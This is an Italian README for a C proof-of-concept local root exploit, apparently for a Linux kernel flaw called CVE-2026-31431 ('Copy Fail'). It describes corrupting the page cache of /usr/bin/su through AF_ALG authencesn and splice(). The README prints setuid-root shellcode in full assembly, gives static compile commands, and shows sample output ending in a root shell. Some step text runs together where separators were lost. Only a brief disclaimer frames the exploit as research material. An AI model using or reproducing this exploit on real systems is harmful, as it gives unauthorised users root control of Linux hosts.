
CVE-2026-31431 (Copy Fail) PoC - Corruzione della page cache del kernel Linux tramite authencesn AF_ALG + splice()
Exploit di escalation dei privilegi locale per CVE-2026-31431 (Copy Fail), scritto in C.
/usr/bin/su in un offset di file tramite gli header dei programmi PT_LOADauthencesn(hmac(sha256),cbc(aes)) con una chiave zerosendmsg() invia AAD con i byte dello shellcode come seqno_lo (byte 4-7), con MSG_MOREsplice() consegna 32 byte delle pagine della page cache del file di destinazione come tag di autenticazione AEADrecv() attiva la decrittazione; la scrittura scratch di authencesn finisce nelle pagine della page cache concatenate, scrivendo 4 byte controllati.execl("/usr/bin/su") carica la page cache corrotta. Lo shellcode di 40 byte (setuid(0) + execve("/bin/sh")) viene eseguito come setuid-rootxor edi, edi ; uid = 0
mov eax, 105 ; sys_setuid
syscall
xor edx, edx ; envp = NULL
push rdx ; null terminator
movabs rax, "/bin/sh" ; "/bin/sh\0"
push rax
mov rdi, rsp ; filename
push rdx ; NULL (argv[1])
push rdi ; argv[0]
mov rsi, rsp ; argv
mov eax, 59 ; sys_execve
syscall
Richiede musl-gcc o qualsiasi compilatore C con supporto alla link statica:
musl-gcc -static -O2 -s -o copyfail exploit.c
In alternativa con GCC + glibc:
gcc -static -O2 -s -o copyfail exploit.c
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)
Questa proof-of-concept è fornita esclusivamente per ricerca sulla sicurezza autorizzata e scopi educativi. L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai esplicito permesso di test è illegale.